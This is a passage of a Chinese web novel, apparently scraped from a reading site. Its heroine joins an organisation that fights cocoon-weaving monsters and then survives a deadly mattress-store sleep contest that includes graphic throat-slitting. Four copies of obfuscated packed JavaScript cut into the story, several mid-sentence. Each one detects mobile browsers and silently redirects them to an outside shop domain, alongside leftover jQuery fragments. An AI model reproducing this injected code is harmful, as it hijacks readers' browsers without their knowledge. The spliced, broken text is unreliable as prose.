“我知道你难免好奇,但现在还不是时候。请你暂时忘掉这件事,当作什么都没有发生过。”江开一面补充,一面举起手中的圆片,起身接近了雁惊春。 “那怎么才算时候到了?......等等,你这是要干嘛?”雁惊春后仰躲避。 江开:“你不用刻意去做什么,也不用等待什么特殊的时机,在你等级提升后自然会触及真相。至于我手上这个,是一种检测装置,是用来检查能力者当前精神状态的。” 雁惊春自己做了不靠谱的“医生”后,对“检查”这件事产生了本能的抗拒:“一定要检查吗?我精神很正常啊!” “每位从茧中出来的能力者都要检查精神状态,刚刚谢臻已经做过了。”江开见雁惊春仍有些不情愿,干脆放下圆片向门口走去。 她推开门,冲着外面招呼道:“谢臻,麻烦你过来一下,你朋友已经醒了,但是她没做过精神状态检查,比较紧张。你和她更熟悉,由你来为她检查应该能缓解她的紧张感。” 话音刚落,门外便传来由远及近的脚步声。江开后退两步,将谢臻让了进来。 谢臻身上仍穿着那套染血的衣服,他进门后第一时间望向倚靠在床头的雁惊春,仔细打量她的气色,在确认她已无大碍后才松了口气。 他走到床边,拿起那两枚圆片,安抚道:“别紧张,这只是从茧中出来后的例行检查而已,只是为了确认能力者是否有受到精神污染,以便于及时治疗干预。” 谢臻的说法与江开一致,又与自己有联手破茧的交情,雁惊春终于安下心,让他把那两枚圆片贴到了自己两侧的太阳穴上。 同时她暗自反省,自己好像有些反应过度了,不能因为自己的检查不靠谱,就以为所有的检查都不靠谱啊。 圆片连接的仪器开始发出“滴滴”声,江开倚在门边抱着手臂旁观了一会儿,突然开口:“对了,雁惊春,你的天赋是什么来着?” 雁惊春心头一跳:“是【支配·神医】。怎么了?” “没什么,只是想满足一下自己的好奇心罢了。”江开冲她笑笑,“【支配】天赋很少见呢,我记得是属于......属于什么特性来着?” “【蜂】。”雁惊春下意识回答完,才后知后觉地感到奇怪,江开不是破茧研究组的吗?这种对于能力者而言算是常识的问题,她居然不知道? 她身旁的谢臻也有些好奇:“江组长,【支配】是女性【蜂】特性能力者独有的天赋,您不记得了吗?” “哎,最近加班太多,感觉脑子都快转不动了,一时没想起来。”江开无奈地摇了摇头。 与此同时,床头的仪器传出机械的童声:“已完成精神状态检查。检查结果:精神状态正常,无精神污染残留。” 雁惊春刚松口气,却听那声音继续道:“已完成特性检测,已完成天赋检测,检测到该能力者未登记,已自动录入能力者名册。姓名:雁惊春,性别:女,特性:蜂,天赋:支配·神医。” 雁惊春愕然,猛地起身望向仪器屏幕。只见屏幕上不仅显示了她的相片和身份信息,还浮现出了蜂的剪影。 说好的只是例行检查精神状态呢?怎么还带测一送二的?原来她的担心没有错,这检测还真的不靠谱! 谢臻也十分意外,蹙眉看向江开:“江组长,您不是答应过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746782|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,暂时不将她录入名册吗!” “呀,我忘了自动录入这回事了,顺手就做了特性检测和天赋检测。”江开满脸歉然,“不好意思啊,最近加班太多,脑子有点转不过来。” 谢臻抿紧唇,半晌才道:“我知道研究组工作繁重,但为了您的身体考虑,还请注意休息。毕竟即便是【援护】天赋也无法治愈精神上的疲惫。” “谢谢关心,我这就去休息。”江开笑着摆摆手,转身走出房间。 雁惊春张了张嘴,却碍于谢臻在旁边没法出言挽留,只能眼睁睁地看着江开的背影走远。 这太古怪了,仪器检测出的特性和天赋怎么会与她瞎编的内容吻合? 她直觉问题出在江开身上,旁敲侧击地开口询问:“谢臻,我听见你刚刚管江开叫组长,她是破茧研究组的组长吗?” 谢臻颔首:“是的。她三十五岁才觉醒天赋,加入破茧行动组。后来由于能力出众接连升职,仅十几年就担任了研究组的组长。” 雁惊春:“江组长好像工作很忙,怎么会亲自过来救我这个不在册的能力者?” 谢臻解释道:“当时我发现凭自己的天赋无法治愈你,就联系了同在行动组的朋友江烨容,拜托他找最擅长处理这种情况的【蝶】特性能力者帮忙,只是没想到他直接请了他母亲过来接应。” “【蝶】特性能力者?就是你之前跟我说的,能够检测出我特性和天赋的能力者?”雁惊春立即追问。 “没错,不过也不是所有【蝶】特性能力者都能检测特性和天赋。再说你现在已经完成检测并登入名册,就不必再找能力者使用天赋帮你检测了。” 说到这里,谢臻有些歉疚:“抱歉,因为你之前拒绝加入破茧组织,所以我想你可能更希望过普通人的生活。本来想隐瞒住你的能力者身份,没想到......” 他还在为暴露了雁惊春的身份而表达歉意,雁惊春本人的思绪却早已飘远。 江开的能力和地位都十分出众,又是个大忙人,这样的人亲自来为她治疗,真的只是因为自家男儿的请托吗? 她还记得谢臻对【蝶】特性能力的描述:推算因果、预知未来。 那么江开会来帮她,是不是因为她知道了什么?她到底对自己的身份了解多少?倘若她已经知道自己是织茧者,又为什么会帮自己做假? 雁惊春的脑中千头万绪,余光瞥见谢臻将手腕上的光脑凑了过来:“我们加个好友吧?这次的茧是你破的,报酬也应该转给你才对。” 雁惊春心不在焉地递去光脑:“哎呀这多不好意思......” 谢臻没与她多做拉扯,加上好友后就利落地转账过去。 雁惊春听见消息提示音,下意识低头看了一眼。 在看清到账金额的瞬间,什么江开、【蝶】特性、织茧者,统统都被她抛在了脑后。 她抬起微微颤抖的手,数着上面的零:个、十、百、千、万......整整十八万! 天杀的,原来能力者来钱这么快,一天多的收入就是她以前累死累活一个月的一百倍! 她从床上一跃而起,激动地握住了谢臻的手:“你之前说如果我改主意了,可以随时联系你。这句话还算数不?我现在就要加入破茧行动组!” 12. 基地 飞行器稳稳着陆,舱门打开。 雁惊春跳下飞行器,饶有兴致地打量这片她从未踏足过的区域——第2区。 这里的街道虽不如名门贵胄居住的第3区那样宽敞,但规划得井井有条,空中轨道上飞驰而过的每台飞行器都价格不菲。 谢臻跟在她身后下了飞行器,将不远处那片高耸的建筑指给她看:“那就是我们组织的基地,除了办公区域外,还有训练场、治疗中心等各种配套设施。” “在你正式加入后,组织会给你发放新的光脑,到时候你可以直接在光脑上查询详细的设施信息并进行使用预约。日常任务的接取和提交、装备和物资的领取等等也都在光脑上完成。” 雁惊春:“之前在和谐小区时,我看过你光脑上实时更新的小区公告,那也是组织发放的光脑才有的特殊功能吧?” “是的,我们的光脑都接入了人工智能momo,它能辅助我们收集茧内信息,并推算出下一步行动。”想到不久前momo的异常表现,谢臻顿了顿,补充道:“不过,我们执行任务时也不能太依赖momo,还是要有自己的判断。” 雁惊春点头表示明白。 谢臻领着她往基地走去,犹豫片刻,还是趁着周围人不多时低声确认:“你真的要加入破茧行动组?虽然我很高兴组织能多一位强大的能力者,但我必须提醒你,和谐小区只是最低级的蠕虫级,你之后遇到的茧会更加危险。” 雁惊春摆摆手:“没事的没事的,你不是说任务难度会与能力者等级相匹配吗?等我要进更高级的茧时,我的等级也会比现在更高啊。” 谢臻:“理论上是这样,但偶尔也会出现需要紧急补位的特殊情况,这种时候任务难度和能力者等级就未必匹配了。” 雁惊春恍然大悟:“所以你会进等级比你低两级的和谐小区,就是为了补位?” 谢臻点头承认:“我当时是受到了调度员的紧急通知,才会进入和谐小区的。” 雁惊春忽然想起他之前提过的支援,随口问了句:“对了,这次我们两个提前破茧了,那原定的支援人员呢?他们还能拿到报酬吗?” “破茧的报酬是由茧的难度等级和能力者做出的贡献共同决定的,没有参与破茧自然就拿不到报酬。”谢臻迟疑了下,还是选择说出实情:“不过这次出了点状况,调度员没有安排支援,所以如果没有你在,恐怕这次破茧不会如此顺利。” 雁惊春“哦”了一声,见谢臻不打算细说,便没再追问所谓的“状况”是什么,跟着他走进了破茧基地。 虽然她之前读书时已经见识过不少比第9区先进得多的科技,但一迈入破茧基地,还是有种穿越到了几十年后的错觉。 大楼的内部设计、工作人员使用的办公设备、能力者携带的武器装备,都是她闻所未闻甚至难以想象的。 不过作为要与织茧者对抗的秘密组织,科技先进些倒也可以理解。真正令雁惊春感到意外的,是基地里的氛围。 在她的设想中,破茧基地应该是忙碌的、紧张的。行动组会忙于锻炼自己或升级装备,即使偶然露面也是行色匆匆;位于后方的技术组和调度组也应高速运转、多线并行,无时无刻不在接听通讯、沟通工作。 然而事实与她的设想恰恰相反。基地走廊上随处可见三三两两聚在一起聊天的人,他们手中端着饮品和点心,时不时还爆发出一阵笑声;工位上的人有些正刷着光脑,有些则瘫在椅子上,一边慢悠悠地和通讯那头的人说话,一边有一下没一下地敲打着控制台。 总之,整个基地内丝毫没有紧张感,反而有些散漫。 雁惊春疑惑地抬起手腕看了眼光脑,现在是工作日的上午十点半,不正是上班的时间吗?他们难道没活干吗? 在去递交申请的路上,到处都是相似的情景,就连申请加入组织也比雁惊春预想的简单得多。 她甚至不需要参加面试,前台那个打扮得漂漂亮亮的小男生一听说她是已经录入名册的能力者,什么也没问,直接取出一只新光脑放到操作台上,不紧不慢地点击了几个按钮,便将光脑递给了雁惊春。 “你现在是蠕虫级,每次破除蠕虫级的茧后,隔45天要再次参与破茧。记得提前至少一周在光脑上选取任务,不然可能被分配到你不想进的茧。”完成例行提醒,那小男生就背过身去,继续对着镜子摆弄他的头发了。 雁惊春:“......” 她心情复杂地走出办公室,向等在门口的谢臻展示了一下自己新领的光脑。 “恭喜你正式加入破茧行动组,以后有什么不懂的欢迎随时来问我。”谢臻说完才发现她情绪不高,关切道:“怎么了?是遇到什么问题了吗?” “没什么问题,就是没想到加入行动组这么容易,有点意外。”雁惊春低头取下旧的光脑,单手将崭新的光脑扣在腕上。 谢臻:“能力者想要加入行动组本就容易,再加上你已经登记在册,又有我的引荐,流程就更简单了。” 雁惊春有些迷茫:“给我登记的人说蠕虫级破茧45天后才需要再次入茧,那中间这段时间我要做什么?” 谢臻:“休息,训练,整备。如果你觉得自己准备好了,也可以提前接取任务,不过我不建议你这么做。” 雁惊春猜测:“因为精神的恢复需要时间?” “没错。”谢臻赞许地点点头,“能力者在茧内既要抵御织茧者的精神污染,又要施展天赋和技能,对精神的消耗极大。所以绝大多数能力者都会用足组织规定的间隔期好好休息,如果实在状态不佳,还可以申请延期入茧。” 雁惊春终于明白组织里的人为何如此悠闲了。他们并不会在发现茧生成后的第一时间派遣能力者前去破茧,只会将有待处理的茧都搜集起来,供间隔期结束的能力者挑选。 这份差事比她预想的还要好,包吃包住,自由度高,休息时间长,出一次任务便有不菲收入。 但是对于那些被困茧中的人而言,这种效率就不是什么好事了。 雁惊春不禁想起了和谐小区:“谢臻,和谐小区那些居民现在怎么样了?组织对于被织茧者蚀空精神的人应该有特殊处理方式吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746783|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢臻这次沉默了许久,才开口回答:“无害化处理。” 雁惊春愣了愣,突然讽笑出声:“像对待垃圾那样?” “抱歉。”谢臻语气沉重,“被蚀空精神的人,只剩下了无意识的躯壳,组织认为他们与尸体无异,所以……真的很抱歉。” 雁惊春深呼吸两下,压抑住了翻涌的情绪:“你不用道歉,害死他们的是织茧者,制定处理方式是组织。” 交谈间,两人已经走出大楼。谢臻因为约了朋友,不得不先行离开,临走前又往雁惊春账上打了两万块,作为损毁她衣服的赔偿。 雁惊春与他告别后点亮光脑,划掉银行弹出的到账提醒,打开浏览器,在搜索栏输入“第9区和谐小区”,并将检索结果设置为“按时间排序”。 新的光脑反应速度极快,顷刻便弹出了搜索结果。 不出她所料,和谐小区集体遇害的事在网上毫无痕迹,唯一与这次事件有关的只有最上方新发布的广告:“喜报!第9区和谐小区新增大量空房,现火热销售中,价格优惠,先到先得!” 雁惊春:“......” 她本以为自己已经离人类很远了,结果走出家门才发现外面到处是离人类更远的玩意儿。 其实她与小区里的邻居们没什么交情。那些长年生活在第9区的人光是养活自己就已经竭尽全力,面对外人只剩一身戾气,个个说话尖锐得如同管制刀具,她刚搬进小区一个来月就和好几位邻居起过争执。 但看到他们就这样轻易地被抹去最后一点存在过的痕迹,她依然会感到愤怒。 雁惊春熄灭光屏,暗自警醒自己,无论之后获得怎样的财富地位,都永远不要忘记今天这种愤怒的感觉。 调整好情绪后,她重新迈开脚步,往宿舍的方向走去。 破茧组织为内部人员建设了宿舍楼,能力者可以免费入住。雁惊春没有飞行器,在第9区和第2区间往返费时费力,便决定先将和谐小区的房子闲置,搬到宿舍居住。 她走进大厅,按照指引来到自助机前,刷光脑完成身份认证后开始选择宿舍。 因为她是新加入行动组的,天赋等级又只有蠕虫,所以可选的房间多是双人间,还有少部分是三人间和四人间。 从图片上看,房间环境比她曾住过的宿舍和租房都好得多,但她已经习惯了独居,不太想与人合住。 她不死心地又往下翻了几页,屏幕上突然刷出一个单人间,她立即点击查看详情。 霎时间,一张浸透了鲜血的床垫闯入眼帘。 雁惊春“嘶”了一声,快速略过房间的基础信息,找到了最下方的说明。 【前房主因不明原因于床上吞下三把剪刀自杀,现放宽该房间入住条件。房间原有床垫已废弃,入住者需自备新床垫。】 吞下三把剪刀自杀?哪有人会选择这么痛苦的自杀方式? 前房主的死法如此诡异可怖,一般人应该不会想要入住,难怪这间房明明各方面都不错却被迫放宽条件。 雁惊春想着,毫不犹豫地按下“入住”。 13. 好梦床垫1 选好房间后,雁惊春走到一部球形的电梯前,刷光脑打开电梯门,走了进去。 这栋楼安装的是胶囊电梯,没有传统电梯那种直上直下的运行轨道,且多部电梯合用一个电梯井。 电梯启动后会根据乘坐者的房间位置测算行动路线,一路避开其它电梯旋转上升,类似于小型的自动驾驶飞行器。 雁惊春被它送到门口,同样用光脑刷开房门。 房间内宽敞明亮,各种家具家电一应俱全,她走进卧室,发现预览图上那张血淋淋的床垫已经被清理出去,地板也被打扫干净,没有残留的血迹。 她对自己的选择很满意,冲完澡躺到沙发上小憩了几个小时,恢复些精神后便打算去商场采购。 “买几套衣服、纸巾、牙具、毛巾浴巾、月经用品......对了,还要再买张新床垫。”在光脑上列好采购清单后,雁惊春离开宿舍,直奔商场。 想从中心区域去往边缘区域总是很容易的,更何况她现在已落户第2区,一路上更是畅通无阻,仿佛她以往遇到的层层设卡和花样检查都不曾存在过。 如今她手上有了积蓄,不打算没苦硬吃,但考虑到未还完的房贷,也不能太过铺张。最终,雁惊春选择了一家位于第5区和第6区交界处的中档商场。 刚一迈入商场大门,两条悬浮在半空中的巨幅广告便吸引了她的视线,在看清上面的内容后,她不由眼前一亮。 商场6楼居然恰巧新开了两家床垫专卖店,今天正在搞开业大酬宾呢! 她不假思索地直奔6楼,循着人流找到了床垫专卖店的位置。 难怪这两家店竞争得如此激烈,它们不仅商品品类相同、开店时间相同,就连位置也是正对着的。 此时位于雁惊春左边的是“好梦床垫”,右边的则是“美眠床垫”。 她打开光脑在网上搜索了一下价格,发现好梦床垫最便宜的款式也要两万块,而美眠床垫的最低价格不到三千,于是当即决定去美眠床垫看看。 就在这时,她忽然注意到人群中走来了一个奇怪的年轻男人。 他身材纤瘦,皮肤白皙,嘴唇极为红艳,似乎涂了口红。但这些都很正常,真正令雁惊春感到惊奇的是他的衣着。 他的身上仅穿着一件白色的宽松睡袍,领口开得极低,只在喉间系了一条白色丝带遮掩喉结。 每当他迈步时,睡袍下摆便会随着他的动作被扯开些许,露出纤长笔直的小腿。 雁惊春大受震撼,她不过是近两年没来第6区以内的区域,男人们的时尚就进化到这种程度了吗? 她偷偷观察了下其他路人的反应,发现大家都神色如常,专注于选购床垫,并没有分给他额外的眼神。 好吧,看来的确是她跟不上潮流了。 她默默移开视线,免得被当成爱盯着男人看的色狼。 然而男人在人群中实在太过显眼,当雁惊春余光瞥见他走进美眠床垫的店铺,直接躺在了最外面的演示床上时,还是没忍住投去了好奇的视线。 只见男人正皱着眉头、双唇紧抿,翻来覆去地在床上变换姿势。没过一会儿,他从床上坐起,按揉自己的肩膀和腰肢,仿佛躺得很不舒服。 紧接着,他离开美眠床垫的店铺,往好梦床垫的方向走来。随着他走近,雁惊春嗅到他似乎还喷了香水。 她后退一步给他让路,却没想到不小心撞上了身后的人。 她连忙回头致歉,被她撞到的女人随口应了句“没事”,就扭头往好梦床垫的方向看去。 雁惊春下意识望向女人注视的方向,发现她看的也是那个古怪的男人。 男人当下已经躺到了好梦床垫最外面的演示床上,和方才相反,他此刻神情舒展、嘴角带笑,以一个床垫广告上常见的安眠姿态躺下不动了。 雁惊春豁然开朗。好家伙,这男的根本就是好梦床垫请来的托儿吧! 啧,肮脏的商战! 她正暗自唾弃这种下流的竞争手段,发誓自己绝不会落入资本家的陷阱时,好梦床垫的店内走出一位经理模样的人,利用戴在耳廓的扩音设备高声道: “各位顾客朋友们!目前活动报名人数已经达到98人,当达到100人后,我们本时段的活动就正式开始!本次活动第一名可获赠床垫一张、床上用品一套,款式店内任选;第二名可获赠指定款式床垫一张;第三名可获赠床上用品一套!” 哇,高明的商战! 雁惊春原本朝向美眠床垫的双脚顿时调转方向:“我要报名!” “好的。”经理用一支形似小型手电的设备往她胸口照了一下,雁惊春的胸前便多出了一个写着“99”的投影。 经理高喊:“还有最后一个名额哦!” “我要报名。” 雁惊春闻言望向自己身边,发现说话的是刚刚被自己撞到的女人。 她穿着大众款的连帽卫衣和运动裤,长相、身材和声音都平平无奇,毫无记忆点,普通到雁惊春怀疑就算她当街杀人,也能在下一刻融入人群消失不见。 经理在她的胸口投放了一个编号“100”的投影,随即宣布活动正式开始,招呼参与活动的人跟上队伍,一起前往活动场地。 临走前,雁惊春又往好梦床垫的演示床上看了一眼。那个年轻男人还闭着眼纹丝不动地躺在床上,也不知是敬业还是真的睡着了。 此时参与活动的队伍已经走出了一段距离,雁惊春不再逗留,快走两步缀在了队伍末尾。 他们在经理的带领下依次走上电梯,来到了位于商场8楼的一所场馆。 雁惊春最后一个进门,在看到里面的布置后不禁暗自感慨,不愧是底价两万一张床垫的高端品牌,果然财大气粗,竟然直接在场馆内摆放了一百张单人床,且每张单人床边都站着一名工作人员。 她刚往里走了两步,胸口有着编号“99”投影的工作人员便立刻迎了上来,指引她走到了倒数第二张床的旁边。 其他更早进门的人早已站到了与自己编号对应的床边,等雁惊春也站定后,主席台上的经理便开始宣读活动规则: “好梦床垫始终致力于为客户打造舒适的睡眠环境,帮助客户更快入睡、做个好梦。本次活动,就是要选出与好梦床垫最契合的入睡冠军!” 她挥舞手臂,示意大家注意周围:“我们在场馆内布置了一百张单人床,每张床上都铺了最新款的好梦床垫。等下活动开始后,就请大家躺在与自己编号对应的床上,放松下来,尝试入睡。” “每张床边都配有一名工作人员,他们会对各位的入睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746784|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情况进行考察,只有在每轮规定时间内成功入睡的人,才能继续参加下一轮的比拼哦。”说完她环顾在场众人,询问道:“规则就是这样,有人有疑问吗?” 雁惊春临床编号100的女人举起手:“如果没能按时入睡,会有惩罚吗?” “当然没有,只是会被淘汰而已。”经理笑眯眯回答。 雁惊春也跟着举手提问:“那如果有人中途有事,可以提前退出吗?” 经理微笑颔首:“可以,不过每人只有一次参与活动的机会,即使中途退出也不能再次参加活动了哦。” 见其他人都没有异议,经理拍了拍手:“那么现在请大家躺到床上,在场馆内响起助眠音乐后活动将正式开始。本轮入睡限时20分钟,请各位尽快入睡,做个好梦哦。” 话音未落,不少人已经脱掉鞋子躺在了床上,闭着眼睛开始酝酿睡意。 其实雁惊春已经有些后悔报名了。她连与人合住都睡不踏实,更别提像这样在被人监视的情况下,与其他99人处于同一空间睡觉了。 但是,来都来了。 万一她能蒙混过关,白得一张几万块的床垫呢? 抱着一丝侥幸,她也躺到了床上,努力调整自己的呼吸、控制眼球的转动,尽量让自己看起来像是睡着了一样。 或许是因为身下的床垫软硬适中、体感舒适,或许是因为播放的助眠音乐令人放松,雁惊春躺了一会儿,竟真的产生了一丝困意。 迷迷糊糊间,她感受到似乎有什么东西在逐渐靠近,紧接着湿热的呼吸铺洒到了她的脸上。 雁惊春猛地睁开眼,正对上工作人员近在咫尺的脸。 还没等她发作,已经有好几个人先一步从床上跳了起来,七嘴八舌地发出抗议: “搞什么?贴得那么近干嘛!” “这种检测方式也太不尊重人了!现在好多人的光脑里都有睡眠监测APP,直接用光脑检测不就好了?” “哪有你们这么做活动的?我要退出!” 此言一出,不少人纷纷响应,都表示要退出活动。 经理却丝毫不见慌乱,双手向下压了压:“请各位不要吵闹,以免打扰其他人的睡眠。想要退出活动的,工作人员会帮你们退出。” 与此同时,一直安静伫立在他们身旁的工作人员突然动了。 他们佩戴的手套掌心处骤然弹出一柄光刃,所有嚷着要退出的人,都被对应的工作人员以整齐划一的动作割喉。 鲜血从颈动脉中飙出,那些人甚至连尖叫都来不及发出,身体便软倒下去,被一旁的工作人员扶住,重新安放到了床上。 刹那间,三十余张床垫被染成了红色。 场馆内顿时鸦雀无声,每个人脸上都写满了惊惶与恐惧,唯有悠扬的助眠音乐仍在场馆内回荡。 这时,一道声音突兀地响起。 “这就是你说的,可以随时退出?”编号100的女人直视着经理,语气平静。 经理的笑容弧度纹丝不变:“我说了,每人只有一次参与活动的机会。我得保证他们不会再次参加活动,这样对其他人才公平,不是吗?” 说着她抬起手腕,看了眼时间:“现在距离本轮限时结束还有11分钟,请各位尽快入睡,做个好梦哦。” 14. 好梦床垫2 果然,当人盯着天上的馅饼时,就容易忽略脚下的深坑。 雁惊春的视线扫过在场的经理和工作人员,暗自猜测他们的身份。 这是中心区某些“上等人”组织的杀戮游戏?还是一个正在形成的茧? 突然她灵光一闪,点亮了腕上的光脑。 只见光脑上的公共网络已经断开,破茧组织的官方软件也无法使用,反倒是之前一直显示登入失败的行动组破茧专用程序亮了起来。 这下可以确定了,这次事件的幕后黑手又是织茧者。 雁惊春下意识地摸摸肚子,她估摸自己的上一餐才刚刚消化,现在还不觉得饿呢,下一餐居然就这么迫不及待地送上门来了? 然而其他被卷入茧中的普通人不知道织茧者的存在,更体会不到雁惊春这种准备开饭的心情,只以为自己进入了某个变态组织的杀人游戏。 在片刻的呆愣过后,他们逐渐从方才的血腥杀戮中回过神来。大部分人都第一时间点亮光脑,想要向治安队求助,却绝望地发现这里完全没有信号。 一个中年男人情绪崩溃,声嘶力竭地斥责同伴:“都怪你爱贪小便宜!我都说了不要参加什么活动,直接去美眠床垫买张便宜的就行了!” 一个身旁跟着两个保镖的少男声音颤抖地叫喊:“我要见主办方!我妈妈有权有势,我是她最宠爱的男儿,她一定会出钱赎我的!” 有三个胆大的学生趁乱钻出人群,凭借灵活的身手顺利抵达了场馆门口。她们拉开大门想要逃走,却不料大门后面又是一扇相同的门。 学生们不死心地继续开门,可这扇门就像洋葱似的,剥了一层还有一层。接连打开了六七扇门后,她们各自的工作人员找了过来,态度不容质疑地将她们“请”了回去。 雁惊春将这一切尽收眼底。这片区域而今已不能离开,说明茧已经彻底形成。 可是从这些人的反应来看,他们都还保留着自己的神智,完全没有遭受精神污染的迹象。 她不由得感到奇怪,为什么织茧者还不释放精神污染呢?比起营造睡眠环境、发布任务要求众人入睡,直接通过精神污染控制所有人上床睡觉不是更快吗? 除非......这个织茧者的捕食方式,就是需要让人类保持清醒。 雁惊春仔细回想,发现经理和工作人员们嘴上说着要众人尽快入睡,实际行为却尽是干扰睡眠的骚扰与恐吓,言行完全相悖。 而无法按时入睡的代价,就是被“淘汰”。在这个茧里,就连中途退出都会导致死亡,被淘汰的下场只会更加糟糕。 那么,是不是按任务要求睡着才是安全的? 雁惊春环顾四周,此时场馆内的众人完全陷入了恐慌之中,别说睡觉了,就算让他们躺在床上装睡都难以实现。 得先让大家冷静一点,起码要能听得进她说话。 雁惊春思忖片刻,将目光移到了主席台上的经理身上。如果能利用它来转移大家的注意力,效果应该不错。 想到这里,她快步跑上主席台,试着对经理使用了技能【行医资格证】。 然而经理在看到【行医资格证】后,脸上的表情没有丝毫变化:“这位客人,无论你的职业是什么,我们的活动规则都不会改变哦。” 看到经理完全不将她的“医生”身份当回事,雁惊春立即意识到这个茧的等级高于她,因此她无法对这些蜕施加精神污染。 不过没关系,她除了擅长行医外,还略通一些拳脚。 雁惊春收起【行医资格证】,毫不犹豫地一拳砸在了经理脸上。 这下,她切身体会到了“一拳打在棉花上”是什么感觉。 经理跟和谐小区里的蜕打击感完全不同,和谐小区里的蜕像是一团塌软黏糊的面团,而经理却犹如棉花,她一拳下去,非但没能让它感到疼痛,反倒叫它变得更加蓬松柔软。 只见经理的脸已经有些变形,却仍能对她微笑:“请回到对应编号的床位,尽快入睡,做个好梦哦。” 雁惊春暗暗咬牙,她余光瞥见已经有不少人向这边投来了视线,这让她无论如何也不能退缩。 该死,早知道她这么受同类的欢迎,出门时就该从厨房拎把菜刀的。 仿佛心想事成一般,她的斜后方突然伸出一柄样式奇特的狭长短刀。 雁惊春下意识闪身躲了一下,错愕地转过头,发现递刀的是那个编号100的女人。 女人见她回头,将手中的短刀又往前递了递,微扬起下巴,示意她拿着。 虽然好奇女人为何会随身带着短刀,但现在不是纠结细节的时候。雁惊春道了声谢,当即从女人手中接过刀柄,旋身即快又狠地割向经理的脖颈! 这一刀下去没感受到什么阻力,经理的脑袋便轻飘飘地落到了地上。下一瞬,它的脖颈处冒出一团烟雾,眨眼间又变成了一颗新的脑袋。 地上的脑袋和新长出来的脑袋脸上挂着如出一辙的微笑,齐声道:“请尽快入睡,做个好梦哦。” 雁惊春冷笑一声,割韭菜似的接连挥出十余刀,将经理不断生长出的脑袋一茬接一茬地斩落在地。 没一会儿,她的脚边就堆了十几颗脑袋。它们一边如风滚草般在地上滚来滚去,一边发出此起彼伏的声音:“请尽快入睡,做个好梦哦。” 如此诡异的画面彻底吸引了在场所有人的注意,场馆内再度陷入寂静,每个人都张口结舌地盯着她的动作。 雁惊春见目的达成,顺手又割下一颗经理的脑袋,拿在手中抛了抛:“各位,正如你们所见,这里发生了超自然现象。” “不必惊慌,安全区为了对付它们,专门成立了特殊部门,而我恰好就是其中一员。只要你们听从我的指挥,刚才的悲剧就不会再度上演。”她笃定的话语落下,在场众人顿时如同抓住了救命稻草,急不可耐地涌了过来。 “这到底是怎么了?快带我们出去!” “先把我送出去!我妈妈会给你打一大笔钱!” “你刚刚为什么没出手?我的朋友已经死了!” 焦虑的询问、紧张的催促和崩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746785|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溃的指责浪潮般压向雁惊春。然而现在时间紧迫,她根本无暇顾及他们的情绪,只能以见效最快的方式帮他们完成任务。 她从经理耳朵上扯下扩音设备给自己戴上,随手将它的头丢开,使用了技能【行医资格证】:“想活命的话,就看这里!” 简短有力的命令瞬间激发了众人的求生本能,让他们不由自主地将视线聚集到了【行医资格证】上。 霎时间,所有人都像是被格式化的机器人一样僵在了原地,一双双空洞的眼睛笔直望向雁惊春的方向,安静等待着她录入指令将他们重新启动。 雁惊春语速飞快:“经过我的诊断,你们所有人都患有严重的睡眠不足,这对身体健康的危害极大,所以现在、立刻、马上去上床睡觉!” 伴随着她下达的指令,低语声自每个人的唇齿间溢出: “要听医生的话......” “为了健康,要赶快上床睡觉......” 絮絮的低语连成一片,既像虫群振翅的嗡鸣,又如某种不详的吟诵,一时间甚至盖过了场馆内播放的助眠音乐。 此刻他们的内心再无恐惧,再无焦虑,再无怨怼,因为他们已完全丧失了独立思考的能力,全部的思绪都被雁惊春施加的精神污染所占据。 雁惊春居高临下地站在主席台上,注视着他们一个接一个地爬上自己的床位,以板正得好似躺进棺材的睡姿入眠,终于松了口气。 她看了眼时间,现下距离本轮限时结束还有3分钟,场馆内的空床只剩下两张——99号,以及100号。 她毫不意外地转过身,望向正无聊地用经理的脑袋踢着玩儿的女人。 女人立刻注意到了她的视线,抬脚将经理的头踩扁,向她走来:“你的胆子可真够大的,竟然敢把这么多条人命背在身上。你就不怕自己判断失误,让他们白白送命?” 